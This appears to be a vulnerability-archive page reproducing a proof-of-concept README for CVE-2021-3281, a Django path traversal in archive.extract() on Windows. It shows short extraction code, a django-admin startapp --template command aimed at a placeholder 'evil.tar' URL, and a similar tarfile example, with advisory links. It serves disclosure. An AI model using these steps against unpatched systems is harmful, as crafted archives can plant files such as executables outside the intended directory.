目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1359 元

100%

CVE-2021-3281 PoC — Django 路径遍历漏洞

来源
关联漏洞
标题: Django 路径遍历漏洞 (CVE-2021-3281)
Description:Django是Django基金会的一套基于Python语言的开源Web应用框架。该框架包括面向对象的映射器、视图系统、模板系统等。 Django 存在路径遍历漏洞,攻击者可利用该漏洞可以通过archive.extract()遍历目录,以便在服务根路径之外创建一个文件。
介绍
# CVE-2021-3281

There is a Directory Traversal vulnerability in django.utils.archive.py, lineno:171, in Class TarArchive.

The function call os.path.join(to_path, name) didn't check the param "name",if someone use this util on windows platform,there'll be a Directory Traversal risk, the POC is:

```
from django.utils import archive
archive.extract('test.tar','.')
The test.tar include file named "d:game.exe",and the poc will create a file named "game.exe" in D://game.exe rather than "."
It looks like the Django core didn't use this util,but I still think it's a risk,maybe someone will use this util in webapp to archive somethings.``and there is another scene:``"djangoadmin startapp --template" command will use archive.py,see in https://docs.djangoproject.com/en/3.1/ref/django-admin/#s-startapp. POC is:

django-admin.exe startapp vulapp --template="C:/my_templates/test.tar"
It'll create a file named "game.exe" in D://game.exe rather than "vulapp/", It also accept URLs like "django-admin.exe startapp vulapp --template=https://xxx.com/evil.tar"
```

### POC

```python
from django.utils import archive
archive.extract('test.tar','.')
```

There is same problem in Python/Lib/tarfile.py:

```python
#Lib/tarfile.py:
import tarfile
tar=tarfile.open('test.tar','r')
tar.extractall('.')
tar.close()
```

and the doc gives a warning ,see https://docs.python.org/3/library/tarfile.html#tarfile.TarFile.extractall

### Link

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-3281

https://www.djangoproject.com/weblog/2021/feb/01/security-releases/
文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看
备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →